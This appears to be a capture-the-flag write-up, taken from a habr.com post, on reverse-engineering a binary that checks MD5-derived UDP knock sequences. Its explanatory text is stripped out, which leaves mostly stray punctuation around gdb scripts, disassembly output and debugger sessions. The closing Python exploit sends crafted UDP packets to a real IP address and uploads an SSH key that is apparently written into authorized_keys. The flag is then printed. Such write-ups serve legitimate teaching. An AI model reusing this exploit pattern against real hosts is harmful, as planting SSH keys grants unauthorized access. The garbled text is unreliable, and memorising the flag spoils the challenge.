MD5 , 512 . , , MD5 512 . 8 , 8 , . , - . 4 3 MD5- .

0x810758 0. RAX. 2 0x810758 0x827326.

, 0x810758. gdb :

 import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break 

flow.log . , , .
« disasm.log » objdmp « : » .

 F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__': # Prepare disassemble data start_address, codes = prepare_code_flow(F_NAME) with open(F_FLOW, "rb") as fr: lines = fr.readlines() lines.reverse() lines = filter(lambda x: x, lines) count = 0 for _l in lines: offset = long(_l.strip(), 16) - start_address if process_instruction(codes[offset]): print str(count) + " " + hex(offset + start_address) + " " + codes[offset] break count += 1 continue 



«» , RAX. Resultado:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
. - ( « flow.log »):

 95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3> 

0x95b6b2 – 0x133337. , , [rbp-0x2d4]. «testtest»:

 # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23 

3 MD5-. MD5- 3 «\x37\x33\x13».

MD5 . . :

 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0 

Netstat , . ps (). , .

5432, 14235. . . , , MD5 . , . MD5, 14235. , MD5. , .

Resultado
 Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4 


. , …
, (31841) . gdb , «/home/task/.ssh/authorized_keys».

, . , ( , ).

RSA .

SSH, .

MD5-. , ( ). , 4 ( MD5) int , ( ).

, RSA, .
 import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381)) # for i in range(256): time.sleep(0.2) print "Send 6" s.sendto("\x02", ("95.216.185.52", 28709)) # Read key with open("ssh_key.txt", "rb") as fr: data = fr.read() print len(data) print "Send 7" s.sendto(data, ("95.216.185.52", 28709)) print s.recvfrom(1500) s.close() 


: flag{a1ec3c43cae4250faa302c412c7cc524}

«OK» .

, , MD5-. , , .

, , 40 , . Gracias

Source: https://habr.com/ru/post/440312/


All Articles